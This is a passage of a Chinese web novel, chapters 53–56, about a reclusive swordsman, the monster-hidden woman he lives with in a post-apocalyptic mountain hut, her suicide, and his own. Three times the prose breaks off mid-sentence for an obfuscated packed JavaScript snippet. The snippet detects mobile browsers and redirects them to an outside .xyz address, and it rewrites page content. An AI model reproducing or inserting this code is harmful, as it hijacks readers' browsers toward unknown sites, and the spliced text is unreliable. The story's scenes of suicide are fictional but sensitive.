“很好。”她满意地说:“交易成立。” 53. 第 53 章【男主视角】 黄昏时分,被木制篱笆圈起的小院子里生起了火堆。 郁仪搬出竹架子,将扒光了毛、分割成小块的山鸡肉串在上面,架在火上缓缓旋转,脂肪被烤得滋滋作响,油脂的焦香味被激发出来。 他一边注意着火候,一边悄悄抬眼偷看对面懒散望天的人。 与她在草屋中一同相处了两天,郁仪从她口中听了不少事,对她有了最基本的了解。 她的名字是黎望舒,末日前住在这附近的小县城里。末日降临后,她加入了附近的小基地,凭借一身本事活得还算滋润,但好景不长,小基地很快就被怪物灭掉了。 从怪群中逃脱后,她又随波逐流地混进了另一个更大的基地,但那个基地也因为人类之间的斗争被毁灭,她作为基地中的主要战力,被对方不依不饶地追杀至此。 “怪不得那天山下围着那么多人。”郁仪一本正经地点头,对她的话深信不疑,“据说外头的基地光是应付怪物就已经有些吃力了,没想到人类之间也会发生斗争。” “没听过一句话吗?有人的地方就会有争斗。”黎望舒随手捡起树枝,拨弄面前的火堆,平静的面容被火光映得时明时暗。 郁仪诚实地摇了摇头,黎望舒忍不住笑了:“你还真是什么都不知道啊,去过城市里吗?” “没有。”郁仪又摇头,“我去过最远的地方是山脚下的小村子。” “怪不得看起来像个野人。”黎望舒说:“你平时怎么打发时间?” “空闲时间都用来练剑了。”郁仪说,“像野人是什么意思?” “……”黎望舒不说话了,露出了同情的表情。 “为什么要用这种眼神看我,练剑有什么不好吗?”郁仪不明白,“我觉得自己的生活很好,每天都能吃饱,除了有些寂寞之外没有坏处。” “你高兴就好。”黎望舒懒得同他解释。 “像野人是什么意思?”郁仪执着地问,“听起来不像是在夸我。” “……脑袋靠过来。”黎望舒朝他勾了勾手指,他听话地将脑袋凑了过去。她的手在他头顶轻轻一拂,再摊开的时候,掌心里多了几片枯黄叶子。 “你看,树叶都编在头上了。”她将那几片叶子丢进火堆,又牵起他的发丝,“头发看起来也乱糟糟的,平时有好好打理吗?” 郁仪摸了摸自己快要长到腰际的乌发,又悄悄看了两眼黎望舒的栗色短发——她的发丝软软地垂在颈侧,看起来柔顺又有光泽,和自己乱糟糟纠缠在一起的长发截然不同。 “我经常用清水洗,但它们太长了,总是缠成一团。”他感到窘迫,冲动之下,抽出了腰间的长剑,“我现在就把它们切短。” 他正要下刀,手腕却突然被黎望舒按住了。 “都留这么长了,剪掉多可惜。”她拢了拢手中的发丝,“你发质不错,把底下慢慢梳开了就好,等我一下。” 说罢,她回了屋子里,不知从哪儿掏出了一把通体深蓝的小梳子,坐在他身后,为他细细地梳理头发。 她手法很温柔,发根被轻轻拉动,微小的疼痛之外,更多的是细密的痒意;她的指尖冰冷,不时擦过他的脖颈,带起一片紧绷。 以前从没有人这样细心地对待过他的头发——师父向来不管这种事,只要他看起来干干净净的就行;村里的小孩子喜欢恶作剧,曾经给他扎过小辫子,但回了家就被左右看他不顺眼的师父拆掉了。久而久之,他也变得不在意那些头发了,只有长到影响行动的时候,他才会想起来将它们剪短一些。 被他人细心呵护的感觉非常奇妙,脑袋仿佛被柔软的水波包裹,十分舒适,耳边传来“沙沙”的梳理声,他忍不住开始犯困。 就在他昏昏欲睡、脑袋逐渐下滑的时候,黎望舒的动作突然停下了,冰冷的手攀上他的后脖颈——他被冻得一个激灵,立刻清醒过来。 “你居然睡着了。” 脑后传来的声音比以往更冰冷,郁仪听出来了,黎望舒似乎有些不高兴。 “对不起。”郁仪立刻道歉,“我不该这样理所当然地享受你的付出。” “这一点同样令人不爽,但我在意的并不是这个。” 她五指扣在他颈间轻轻摩挲,郁仪喉结滑动,下意识挺直了脊背,耳边极近处又传来她的声音:“你太缺乏警戒意识了,轻易将自己的弱点露出来,不怕我直接杀了你?” “你不会……”感受到颈间的手指忽然收紧,郁仪谨慎地更换了措辞,“……你没有理由杀我。” “我是个杀人如麻的魔头。”黎望舒声音平稳,听不出情绪,“想杀就杀,不需要理由。” “你不是。”郁仪固执地说:“我看得出来,你不是那样的人。” 黎望舒沉默了。 “很遗憾,你错了,我这双手早已沾满鲜血。”良久,她松开了手,兴致缺缺地将小梳子丢进郁仪手中,“自己梳,我去看着肉——都怪你偷懒,肉快被烧糊了。” 郁仪看出了她心情不佳,询问原因的话到了嘴边,又犹豫着吞了回去——直觉告诉他,这时候不该继续刨根问底。 待他把自己的长发梳理好,黎望舒又凑到他身后,从衣摆处撕下布条作为发带,在他脑后扎了个高高的马尾。大功告成后,她将郁仪扳过来打量一番,满意地点了点头,“这样看起来好多了。” 头发被束起的感觉有些新奇,又十分清爽。趁着黎望舒将肉盛到盘子里的功夫,郁仪从井边探出脑袋,略有些忐忑地观察倒影里的自己,又很快地松了口气。 …… 很快地,他发现黎望舒并不喜欢提起自己的事,反而更愿意说起那些她曾经认识的人。 从她口中,郁仪了解到了更多外界的状况—— 聪慧的高级种控制着普通怪物进攻人类的基地,在它们的特殊能力与怪潮淹没下,人类几乎没有还手之力。 在这样的严峻局势下,几乎没有幸存者敢游离在集体之外,他们聚在强者身边,联合起来抗击怪物,即便如此,基地仍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969365|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然难以抵抗怪物的猛烈攻势,一个个沦陷,活人也越来越少。 除去人类的情报,她也非常了解怪物,为他描述了不少稀奇古怪的高级种——被特化了生殖能力、能在地下创造出巨大卵腔的虫母,拥有让满城的人悄无声息睡去、在安眠中迎来死亡能力的巨型水母,还有些怪物外表普通,但拥有精神控制能力,能将人类化为听话的傀儡…… 她将那些怪物描述得栩栩如生,郁仪沉浸其中,仿佛也亲眼见过了它们似的,同时忍不住惊讶——那些怪物听起来非常强大,她却连对方的弱点都了如指掌,这意味着她一定要比那些怪物强大得多。 闲暇的时候,她不愿将自己闷在小院里,而是喜欢在山里四处闲逛。深山之中没有道路,四处都是一样的树林,郁仪担心她找不到回来的路,于是每次都要亦步亦趋地跟在她后头。 她很喜欢吃鱼,发现了附近有条小溪后,隔三岔五地抓鱼带回来烤。某一次抓了小半篓的鱼,她一个人吃不完,于是邀请郁仪一同分享。郁仪受不了鱼肉的腥味,但更受不住她含笑的目光,横着心咬了一口她递来的烤鱼,牙齿却磕上了没刮干净的鱼鳞,大吐了一场。 那之后,郁仪不忍心看她吃得如此粗糙,主动提出帮她处理生鱼。 某一次,她来了兴致,声称要带着郁仪兜风,领着他跑到了更远的小镇里,随便撬了一辆还有油的车,在空无一人的道路上飞速狂飙——她车技不错,一路上没有撞到任何东西,但也许是因为压力太大,她的开法实在狂野,差点将郁仪的午饭颠出来。 为了转移黎望舒的注意力,他拜托她教自己开车,对方欣然答应了。他没接触过多少现代社会的东西,起步的时候遇到了不少难关,但他适应得很快,磕磕绊绊地学了半个月,就能熟练地上路了。 就这样,郁仪与她又一同相处了三个月。草屋中多了一个人,不再死气沉沉,郁仪每天都带着对明天的期待睡去,早上又迫不及待地起床,为她做好早餐,等待她起床……这样美好的日子在他单调的生命里从未有过,宛如一场梦境。 她从没提过自己会在什么时候离开,郁仪也小心翼翼地不敢去问。无忧无虑的日子过多了,久而久之,他产生了一种错觉——他们二人可以一直这样生活在一起,不问世事,直到永远。 可惜,这世上从来没有什么事物是永恒不变的。 那天,郁仪已经睡下,刚生出些困意,就听到外头传来了模糊的谈话声。 他警惕地坐起身来,捞起身侧的长剑翻身下床,悄无声息地将门推开了一条缝,向外看去—— 透着凉意的月色洒在小院里,黎望舒裹着黑斗篷背对着这边,正与一个同样身裹黑袍的高大人影交谈,语气听起来颇为暴躁:“……你到底是怎么找到这里来的?说了多少遍别来烦我,听不懂人话?不是,你能不能把头低下?让我仰着头说话很有意思?” 对面那人顺从地低下头,随着俯身的动作,一缕灿烂金发从兜帽中滑出,柔顺地落在领口上。 54. 第 54 章【男主视角】 木篱笆围成的院子里,黎望舒抱臂与黑袍人对峙着。 见对方还算听话地低下了头,她冷哼一声,刚想接着说下去,身后突然转来了一丝响动——她警觉地回头,正好对上了郁仪不安的视线。 “是你啊。抱歉,吵醒你了?”她狠狠瞪了眼对面的黑袍人,黑袍人像是要表达歉意似的,将身体俯得更低了,“这家伙是我的熟人,稍微聊两句就走,不用担心,接着睡吧。” “……嗯。”郁仪抓着门框的手紧了紧。 合上房门之前,他忍不住抬眸,又向外看了一眼——她带着那个黑袍人走远了些,面上满是不耐烦,态度虽差,但透着熟稔与随意,与和他相处时的淡漠态度截然不同。 直到这时,郁仪才后知后觉地意识到,黎望舒对他并非毫无保留,她从不多说自己的事。相处了三个月,自己的底子已经被她摸透了,他却仍然对她一无所知。 与孤身一人的郁仪不同,黎望舒还有其他的伙伴、其他的归处,随时都可以离开……也许就是今天。 他有些羡慕那个能被她随意对待的黑袍人。 ……如果能够取代黑袍人的位置,他一定会做得更好。因为他事事听话,从不惹她生气。 陌生的情绪在胸中翻涌,酸涩、痛苦、嫉妒,他头一次发现,原来恨意可以这么轻易地产生,指向一个仅仅见过一面的人。他无法控制自己的情感,又觉得轻易恨上别人的自己非常丑恶,只好羞愧地翻身上床,将脑袋埋进被子里。 她会就这样跟着同伴离开吗?毕竟她从未向他许诺过什么,离开前也未必会告诉他。一想到有可能会失去她,然后回到先前那种平淡又无趣的日子,他心中就涌上了一股恐慌——这样的日子他已经过了二十年,为什么到了如今却不能接受了? 黎望舒闯进了他的生活,彻彻底底地改变了他,如今却要将他抛下……太过分了。 郁仪翻了个身,拽紧被子缩在床板上,鼻子发酸、眼眶发烫,心中非常委屈。 如果自己提出要跟在她身边,她会答应吗?郁仪发现自己对她的了解如此匮乏,甚至想象不出她会怎样回答。 但总要试一试,就算被拒绝了,凭他隐匿气息的本事,也能在她离开之后偷偷跟在她后头。就算无法再与她说话也没关系,只要能日日看到她,他就不会寂寞。 郁仪打定了主意,竖着耳朵听外头的动静。他听不清那二人的谈话声,但能听到枝叶被踩下的声音,一旦脚步声有远去的趋势,他就会冲出小院,向她表明自己的心意。 可那二人不知在聊些什么,郁仪等了又等,仍然没听到一丝动静,他们似乎一直站在原地交谈着。 这三个月来,她与自己说过的话怕是都没有这么多——对比一番后,他忍不住酸酸地想。 对黑袍人的妒忌紧紧纠缠着心脏,郁仪等得心焦难耐,原本修剪整齐的指甲被他咬得坑坑洼洼。 突然,他敏锐地捕捉到了枯枝被踩断的响声,但却并不是远离,而是缓缓向这边靠近了——黎望舒并没有离开,她径直走进屋子,似乎很不高兴,重重地合上了门。 郁仪的心脏狂跳。 他又屏息细细听了一会儿,那边没再传出开门的动静,黎望舒似乎已经睡下了。这样看来,至少她今晚不会离开。 终于松了口气,他的脑袋落到了枕头上,长久支撑着的脖颈僵硬发酸,“咔”地响了一声。枕着自己松散的长发,他生出了劫后余生的安心感,压制已久的困意席卷而上,他迅速沉入了深眠之中。 …… 第二天,郁仪不出意料地起晚了。 草屋里没有通电,末日前就没有闹钟或是电子表,更别提现在了,规律作息全靠郁仪的生物钟。 他一睁眼就看到了窗外的明亮天光,迷迷糊糊眨了眨眼之后,一下子清醒过来,急匆匆地穿戴整齐,连剑都没顾上拿就冲到了外头—— 黎望舒的房门敞开着,里头空无一人,小院子里也空荡荡的。 他茫然地左右望了一眼,被巨大的挫败感击中,呆立在水井边上。 ……她走了? 他被抛下了。 察觉到这个事实的一瞬间,他大脑一片空白,眼眶发烫,泪水抑制不住地从眼眶中滚落,他死死攥着拳头,呼吸声止不住地颤抖着。 为什么?为什么?他知道自己在她心中的分量还不足以让她留下,但他们好歹一起相处了三个月,她居然真的就这样招呼不打一声地走了? 他又不是路边的小猫小狗,怎么能摸完了就随手丢下呢? 郁仪几乎想要憎恨她的无情。 良久,他咬牙擦了把眼泪,回房拿剑。 距离她出发的时刻应该不到半天,昨天刚下过雨,在山林中,顺着她留下的痕迹,很快就能追上她。 他还没想好再见到她时自己该做些什么——也许会高声质问,也许会装成若无其事的样子,也许只敢默默尾随在身后……但总之,要先把人追到才能谈将来。 他木着脸甩上房门,下意识将小院子扫了一圈,动作突然僵住了——黎望舒不知何时回来了。她站在篱笆门边,单手提着一筐鲜鱼,莫名其妙地盯着他看。 他呆了两秒,猛然想起了脸上未干的泪痕,急忙胡乱擦了两把,语无伦次道:“你、你不是走了吗?” “去溪边抓了点鱼,现在回来了。”黎望舒晃了晃鱼篓,“早上我叫了你两声,但你睡得太沉没听到。真稀奇,你居然也会有睡过头的时候。” “……我还以为,你会跟着同伴离开。”郁仪神情仍有些恍惚。 “原来是这样。”黎望舒了然地扬起眉毛,“居然担心得哭出来了?这么不希望我离开啊。” 郁仪蓦地涨红了脸。 “放心好了,我不会离开的,至少最近是这样。”黎望舒将鱼篓扔在水井边上,打着哈欠回了房间,“拜托你帮忙把鱼料理好,我起得太早了,得再睡个回笼觉。” …… 接下来的几天,黎望舒的确没有离开,但她的行为模式相较之前有了巨大的改变。 她常常裹着漆黑斗篷在深夜外出,黎明时分又带着一身的血腥味与潮湿气息回来;白天的大部分时间都用来睡觉,她与郁仪的交点只剩下了早晚的两顿饭,有时候甚至连饭都不吃,进了房间倒头就睡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975480|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她周身的气氛也变了。原先时常能见到的灿烂笑容无影无踪,取而代之的是假面般焊在脸上的微笑。虽然同样是笑容,但郁仪能轻易地分辨出二者的不同之处——后者并非发自内心,甚至透着一股阴冷的气息。 她明明没有受伤,身上的血腥气却越来越重,心情也一日比一日阴沉。郁仪试图搞清楚她身上发生了什么事,但每次提起这个话题,都会被她含糊地将话题带过去。 从她口中问不出东西,郁仪也试过尾随在她身后一探究竟,但她出门的时候格外警觉,郁仪被她揪出来三四次、严厉警告过后,也不敢再跟了。 他们明明还处在同一屋檐下,却渐行渐远了。 看着黎望舒一天天阴沉下去,郁仪心中充满了忧虑——不止是因为他们二人之间的交流变少了,更是因为她的状态很奇怪,仿佛在强逼自己做违心的事,这样下去,总有一天会出事。 他一时间想不出好办法,只好暂且压住焦躁,默默在她疲惫的时候为她准备好热乎饭菜。 然而,还没等他找到新的解决办法,变故就发生了。 黄昏时分,黑袍人再一次前来拜访,这一次,他没有避开郁仪,直接拉下了兜帽,兜帽下是一头灿烂的金色长发,被夕阳抹上了一层橙红的光晕。 他有着一张奇异的面庞,眼窝深邃,瞳孔湖绿,郁仪从未见过长成这样的人。 他面带得体的微笑,专注地盯着黎望舒,微微俯身,单手搭在胸口,轻声对她说了几句话;黎望舒面无表情地听着,面色冷凝,沉默了两秒,一点头之后,挥手把金发男人打发走了。 金发男人走后,她仍站在原地,双眉紧锁,似乎在沉思。郁仪在一旁默默烤鱼,没有出声打扰她。 “有空吗?”半晌,她突然开口,“我想带你去一个地方。” “我?”郁仪有些惊讶——实际上,她最近日日忙碌,已经很久没有邀请自己出去玩过了——他立刻点头:“随时都可以。” “那我们现在就出发。”黎望舒从烤架上拿走了半生不熟的烤鱼,不顾郁仪的阻止,狠狠地咬了一大口,“路途有点远,我们先去找辆车。” 她开车的风格一如既往地狂野,郁仪面色发白地坐在副驾驶,看着窗外逐渐变得城市化的风景,庆幸自己还没吃晚饭。好在没过多久,他们就抵达了目的地。 “红帆孤儿院?” 郁仪茫然地读出了头顶招牌上的五个大字——上面的红漆已经掉得差不多了,辨认起来废了他一番功夫。 “你居然认识字?”黎望舒有些惊讶,“早知道给你带些书回来解闷了。” “师父教过我。”被她夸赞的感觉很好,郁仪悄悄按住了想要上扬的嘴角——他隐隐地察觉到了黎望舒带他来到此地的目的,明白这不是该高兴的时候。 他跟着黎望舒进入了红砖斑驳的二层小楼,爬上楼梯,转向右侧的走廊——黑暗之中,他听到前方的黎望舒轻轻叹了口气:“居然还在这里。” 双眼终于适应了黑暗,郁仪眨了眨眼,向前方望去—— 走廊尽头的墙壁上,隐约有一具白森森的骸骨倚靠在墙边。 55. 第 55 章【男主视角】 “……这是?” 黑暗的走廊里,郁仪小心翼翼地抬眼望向黎望舒。 “她算是我的……养母。”黎望舒没有再向前走,而是远远地望着那具骨架,“末日刚降临,她就被怪物杀死了。” 郁仪不知说什么才能安慰到她,但她似乎并不需要旁人来安慰,短暂的停顿过后,自顾自地讲了下去:“说实话,当时看到她尸体的时候,我并不觉得有什么。毕竟人是如此脆弱,最终都是会死的,我甚至没有耐心将她埋进土里,而是放任她就这样躺在这里,沦为怪物们的食粮。” “但随着日子一点点过去,我发现自己时常会想起这里,和躺在这里的她。我一直想回来看看,有一次甚至已经到了门口,却没有勇气踏进来。” 她接着向前走,蹲下身去,轻轻摸了摸那具骨架,“我很后悔没有救下她、没有掩埋她。一想到她的身体曾经被那么多的怪物啃噬过,我就会感到悲伤——很奇怪吧,那是她死后的事情了,她本人甚至感觉不到疼痛,但我还是会难过。” “这不奇怪。”郁仪说,“没有任何一个人会希望自己重要的人变成食物。” “……你说得对。怪物不该随意将有灵智的种族视作食物,这太傲慢,也太冷血了。”她低声回答,“我曾经尝试过压抑这份感情,因为人性会成为我前行路上的阻碍,但很显然,我失败了。” “为什么?”郁仪有些困惑,“人性是人类必不可少的东西,你究竟想做什么,居然需要抛弃人性才能成功?” “不是想做,而是必须去做,这是我必须承担的责任。”黎望舒顿了顿,回答得很含糊,“但现在,我对这份责任产生了怀疑,不太想去履行它了,却无论如何也无法逃脱。” 又一次,没等郁仪做出反应,她迅速地切换了话题:“你喜欢活着的感觉吗?” “喜欢。”郁仪点头,不明白她为什么会这样问,“你呢?” “我也很喜欢。”黎望舒闭上双眼,“无论遇到怎样的难关,我都能找到方法跨越它,这种不断胜利的感觉让人欲罢不能,所以……” 她站起身来,笑了起来,那是他熟悉的、充满自信的笑容,“这次也一样,我会得到我想要的。” 从她口中说出的话,有种让人信服的魔力——虽然不知道她究竟要去做什么,但郁仪打心底里相信她。 被她的笑容感染,郁仪也不自觉地柔下眉眼,“我相信你。” “抱歉,这段时间让你担心了。”她转过身来,温和地注视着他的黑眸,“从现在开始,我不会再去做违心的事了。” 郁仪微微睁大双眼,高兴地点了点头。 这件困扰他已久的麻烦事似乎即将迎来完满的结局……但不知为何,他心中仍隐隐地有些不安。 黎望舒将那具骸骨埋进土中,又带着他去自己曾经的居所逛了一圈,二人踏上了回程的路。回到草屋后,他们互相道过晚安,各自睡下了,不知是不是因为卸下了胸口的大石,郁仪这一觉睡得格外深沉。 然而,第二天一早,郁仪一起床就发现,黎望舒又一次离开了草屋。 他本以为她去了后山的小溪边抓鱼,但在溪边扑了个空之后,他发现并非如此。 他再一次回到草屋,仔细检查周边的泥土,试图通过她留下的踪迹确认她的去向,所有的痕迹指向同一个方向——她下山了。 这一次,她似乎真的打定主意要离开,将自己的私人物品全部带走了,留下的东西都被打包分类收拾好,整整齐齐地铺在床板上。 在院子里无头苍蝇般转了两圈,郁仪一咬牙,提剑循着踪迹追了上去,心中比起失落,更多的是困惑。 她为什么要离开? 昨晚归程的时候他们聊了很多,黎望舒心情颇好,言谈间都透着轻松感,像是彻底解开了心结。正因如此,郁仪才更想不通,在即将迎来崭新生活的现在,她为什么要不告而别? ……她的新生活里,没有他的位置吗? 郁仪呼吸一滞,连忙甩开了脑海里的胡思乱想,将所有精力都投入追踪之中。 想再多也没用,只要见到她本人,一切自然会真相大白。 他一路从山林追到了大路上,黎望舒似乎在路边撬了辆车,一路开走了。 事情来到了他不熟悉的领域,他费力地辨认车辙——好在道路许久无人使用,新鲜的车辙只有这么一道——推出了她大致的行进方向后,他也捞了一辆车,继续追踪。 他飞速驰骋在马路上,不时下车重新检查路上的痕迹,路旁的景色逐渐变得城市化,高楼大厦层出不穷,但都是破败不堪的样子。 心中涌起不安,他焦躁地踩下油门,再一次加快速度,却在看清前方景象的时候,猛地一转方向盘,刹住了车,身体在惯性的作用下前倾,将安全带绷紧,轮胎与沥青路摩擦着发出刺耳的声音。 他从没见过这么多的怪物。 前方不远处是一片黑压压的、由怪物组成的海洋,它们连绵不绝,潮水般不断涌动;顺着怪潮蠕动的方向朝远处看去,视野尽头立着一面高大的城墙,城墙上隐约围着不少人影,凝重地紧盯着底下的怪潮。 顾不上为眼前的景象感到震撼,前方的道路被堵住,郁仪一把扯断了安全带,正打算下车杀出一条血路,目光在怪群前面一扫,居然找到了黎望舒的身影—— 她站在距离怪潮稍远的地方,面色平静地望着远处的高墙,裹着黑袍的金发男人站在她身边,双眉紧皱,表情严肃,薄唇不断开合,但说出的话都被她当成了耳旁风。 忽然,她似乎察觉到了郁仪的注视,微微偏头,准确地对上了他的视线——下一个瞬间,郁仪眼前袭上了一团五彩缤纷的炫光,甚至来不及生出反抗的念头,他就软软地趴伏在方向盘上,失去了意识。 他最后的记忆,停留在汽车喇叭不间断的刺耳鸣叫中。 …… 不知过去了多久,郁仪被一阵尖锐的疼痛唤醒——大脑仿佛被锐利的锥子翻搅了一通,连呼吸都会带起一阵针扎似的痛感。 他挣扎着从方向盘上爬起来,被脑海中的剧痛折磨得喘息不止,第一时间看向黎望舒先前站立的地方——那里已经空无一人了。 他盯着那片空地,茫然地愣了两秒,随后捂着脑袋,拉开车门,摇摇晃晃地下了车。 高大的城墙边上似乎爆发过激烈的战斗,灰白墙面上溅满了血液,人类的鲜红色与怪物的浅红色,和许多颜色恶心的怪物体.液混杂在一起,缓缓向下流淌;怪潮的面积肉眼可见地缩小了,城墙顶上依旧黑压压地一片人头,底下的大门附近守着几十个人类,都紧握武器,警惕地注视着前方。 风将那边的味道带了过来,血腥气、潮气、各种异味混在一起,组成了令他熟悉的味道——黎望舒在清晨归来时,湿沉沉的斗篷上常常带着这种味道……这是战场的气味。 顺着那些人的目光,郁仪再次找到了黎望舒。她站在怪群的中央,大多数怪物都有意地避开了她,在她周身形成了一圈空地。她裹着漆黑斗篷,双目紧闭,仰头面向天空,脖颈与下颌拉出了一条脆弱的弧线,暴露在空气之中。 她身后,一只巨大的水母状怪物悬浮在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980734|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半空中,摇摆着缎带状的触手缓缓接近。 “小心——!” 郁仪神色一凛,立刻从腰后拔出剑,就要向那边赶去,却见黎望舒飞快地从斗篷中抽出一把匕首,以任何人都难以反映过来的速度扎进了自己的心口,血色从胸口处的布料蔓延开来。 他的大脑变得一片空白。 接下来的记忆,宛如被水泡过一遭似的,模糊不清。他的灵魂像是游离在肉.体之外,他看着自己疯魔似的斩开所有拦路的怪物,抱起她软倒在地的身体去探她的鼻息;又泄愤似的将她身边的怪物全部斩杀殆尽,大水母死得尤其惨烈,半透明的身体几乎被细细切作了肉泥。 金发男人不知从哪里冒了出来,面色铁青,要来抢夺他怀中的尸体,也被他反手一剑刺穿了要害,双目圆睁地倒下了。 他满身鲜血,眸光狠厉,宛如从地狱中爬出来的煞神。城墙那边见他孤身作战,派出了一个小队过来支援他,但那几人到了他面前,却被他的迫人气势震慑到,不敢前进。 郁仪压根没注意到他们。 他全部的心神都聚焦到了怀中的黎望舒身上——她的身体还是柔软的,肌肤摸起来很温暖,但这份温暖随着时间不断流逝着。 她的确已经死了。 他几乎失去了思考能力,也不敢去思考,循着本能,浑浑噩噩地将她带回了草屋中。 将她重新放回床上时,她的身体已经完全冰冷了。郁仪小心地用枕头将她的脑袋垫起,又为她盖上被子、掖好被角,然后退后两步,呆呆地望着她毫无血色的脸庞。 她怎么会死呢。 眼前的场景毫无真实感,耳朵上像是覆了层薄膜,外界的一切声响都变得失真模糊,唯有自己的心跳声愈发激烈。 她怎么会死呢? 郁仪将手探进被子,摸索着握住了她冰冷僵硬的手——就算用被子捂得紧紧的,她也没有变暖。被手中的冷意激到,他的神智被从混沌中拽出了一部分,发麻的大脑重新开始运作,他的鼻子一瞬间开始发酸。 昨天她还笑着对他说,自己会赢下一切,为什么今天会把刀送进自己的胸口? 他紧紧地握着她的手,将额头抵在床边,泪水大颗大颗地砸下,无声地哽咽着,几乎无法呼吸。 良久,他抬起头,没去管肿得像核桃的眼睛,摸出了杂物间里的长柄铲子,一个人来到了屋后。 一铲、又一铲……他发狠地将铲子深深埋进土中,又用力扬起,发泄似的,不一会儿就挖出了一个长方形土穴。 他回到房间里,裹着被子将那具僵硬的身体抱起,来到土穴旁边。他想要将她放下去,但自己的两条手臂仿佛有意识似的,无论如何都无法放手。 与自己僵持了小半天,他又将黎望舒放回了房间里,默默将那个大坑一点点填上了。 夕阳西下,换做往日,这时候他应该开始准备晚饭了。但他现在一点东西也吃不下,找不到可做的事情,又不想回到房间里面对她那张失去生气的面孔,只好垂着头坐在水井边上。 黄昏的林子里极静。耳边不时响起几声欢快婉转的鸟叫,风吹过树叶,泛起沙沙的响声。 ……好安静啊。 郁仪垂着头听了一会儿林间的动静,忽然站起身来,回到了房间里。 他反手带上门,细细地把门从里面反锁了,又将她往床板内侧挪了挪,自己翻身上床,躺在了她的身侧。 接着,他毫不犹豫地拔剑出鞘,横在颈侧,用力一转—— 当啷一声,长剑和几缕断发一起掉落在地上,剑刃染血。 56. 第 56 章 昏暗的书房里,郁仪与黎望舒肩并肩靠坐在墙边。 听完郁仪的经历,黎望舒久久没能开口。 这一切听起来太离奇了,无论是自杀的她,还是自刎的郁仪。郁仪描述中的她性格与自己有些相似,但在各种方面又陌生得让她感到惊悚……那真的是她自己? 上辈子究竟发生过什么?那时候的她对自己的怪物身份明显是有正确认知的,痛苦与迷茫似乎也是由此而来。如果她没猜错,上辈子的自己应该杀过不少无辜的人。 她也难以想象,究竟处于怎样的心境下,自己才会不将杨院长埋葬,而是选择让她孤零零地躺在阴暗的走廊中……等等,也许从这个时候开始,她就已经知道自己是怪物了,冲击之下思维混乱,思考方式才会异于常人。 但如果真的是这样,新的问题又出现了:异变降临之初,她到底是从什么渠道得知自己的身份的? 从公寓到红帆孤儿院,这一路似乎没有什么特别的契机,至少这辈子没有。 想到这里,黎望舒又从头梳理、对比了一遍自己的经历——前世与今生的差别在于,郁仪有没有及时赶到公寓并将她救下。 她开始设想,如果没有郁仪,自己将会如何逃出生天。 细细回想起当时的情况,她发现自己活下来的可能性几乎为零——要知道,怪物的要害与人类差不多,脖子、头颅、心脏,无论哪边失守都是死路一条。但当时在狭小的厨房里,她甚至无法左右躲避,而青皮半人怪物的锋利的指甲距离她的脖颈仅仅只有一毫的距离……直到现在,她还能回想起皮肤被它甲尖寒气逼近、命悬一线的感觉。 那种情况下,她无论如何也无法避开。经过实验,她上半身的血液对怪物没有威慑作用,因此也不存在刺破皮肤后对方认出她的身份、从而收手的可能性。 难不成她被拧断脖子也能活蹦乱跳?但在郁仪的回忆中,上辈子的她将刀刃刺入心脏后,没过多久就失去了生息,说明她的生命力并没有那么强大。 但上辈子的她又的确度过了那次危机,否则不可能活到一年后遇到郁仪的时候……思维陷入了死胡同。 也许她在最后关头本能爆发,从潜意识里找回了操控触手的方法,将对方反杀了?若不这样想,实在无法解释,面对那样一个充满杀意的强大怪物,她到底是怎么活下来的。 ……等等,杀意? 她吸了口气,想到了一个有些离谱的可能性—— 目前所有的假设,都是基于青皮怪物对她有杀意的前提下提出的,但若是前提本身就是错误的呢? 也许青皮怪物并不想杀她,甚至可以想得再大胆些——它知道她是自己的同类,于是在异变降临后过来与她汇合,这样一来,前世的她就有消息来源了……说得通! “你想到什么了?” 郁仪忐忑观察着黎望舒的脸色,试探地问——自从他说完了自己的经历,她就陷入了沉思,表情时明时暗,阴晴不定的,让他有些不安。 “没事。”黎望舒回过神来,摇了摇头。 这种猜想可能性很大,但还需要更多的情报……明天要找塞拉斯问一问,他可能会知道些什么。 将猜想搁置在一旁,她对郁仪的经历仍然心存疑惑,有几个问题想要确认。 “按照你的说法,在我……死后。”她微妙地停顿了一下,“你只花了半天时间就决定了要殉情?” “……不是殉情。”郁仪嘴硬,“只是觉得很没意思,因为我遇不到第二个你了。我会永远孤独地活在那个寂静的草屋里,守着你和师父,生不如死。一想到自己会迎来这样的未来,我就感到恐惧。” “好吧,很充分的理由。”黎望舒叹了口气,转而问起另一个关心的问题:“杜蕊又是怎么回事?你没提起过她。” “她……应当是有什么误会。”郁仪犹豫地说:“你带我去过你的公寓里,那里有其他人的生活痕迹。我很好奇,于是就问了。你说自己曾经与一个叫做杜蕊的女孩同行过一段时间,但她背叛了你,所以你把她杀了。” 